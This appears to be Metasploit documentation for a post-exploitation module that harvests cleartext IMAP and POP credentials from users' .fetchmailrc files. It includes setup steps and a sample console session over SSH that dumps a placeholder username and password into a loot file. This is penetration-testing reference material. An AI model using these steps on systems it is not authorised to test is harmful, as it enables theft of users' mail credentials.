Fetchmailrc Creds - Metasploit Framework

Vulnerable Application

Post module to obtain credentials saved for IMAP, POP and other mail retrieval protocols in fetchmail's .fetchmailrc.

This file is kept in user's home directories to configure fetchmail, but contains cleartext credentials.

Example fetchmailrc file

Example documentation can be found in the fetchmail handbook: https://docs.freebsd.org/doc/6.0-RELEASE/usr/share/doc/handbook/mail-fetchmail.html#:~:text=fetchmailrc%20serves%20as%20an%20example,user%20on%20the%20local%20system.

echo "poll example.com protocol pop3 username \"joesoap\" password \"XXX\"" > ~/.fetchmailrc

Verification Steps

Start msfconsole
Get a shell on a system
Do: use post/multi/gather/fetchmailrc_creds
Do: set session [session]
Do: run
If any .fetchmailrc files exist with credentials, they will be read and stored into a loot file.

Options

Scenarios

Ubuntu 22.04.01

msf auxiliary(scanner/ssh/ssh_login) > sessions -l

Active sessions
===============

  Id  Name  Type         Information   Connection
  --  ----  ----         -----------   ----------
  1         shell linux  SSH ubuntu @  2.2.2.2:39857 -> 1.1.1.1:22 (1.1.1.1)

msf auxiliary(scanner/ssh/ssh_login) > use post/multi/gather/fetchmailrc_creds
msf post(multi/gather/fetchmailrc_creds) > set session 1
session => 1
msf post(multi/gather/fetchmailrc_creds) > run

[*] Parsing /home/ubuntu/.fetchmailrc
                
.fetchmailrc credentials
========================

 Username  Password  Server       Protocol  Port
 --------  --------  ------       --------  ----
 joesoap   XXX       example.com  pop3

[*] Credentials stored in: /root/.msf4/loot/20221008102916_default_1.1.1.1_fetchmailrc.cred_476989.txt
[*] Post module execution completed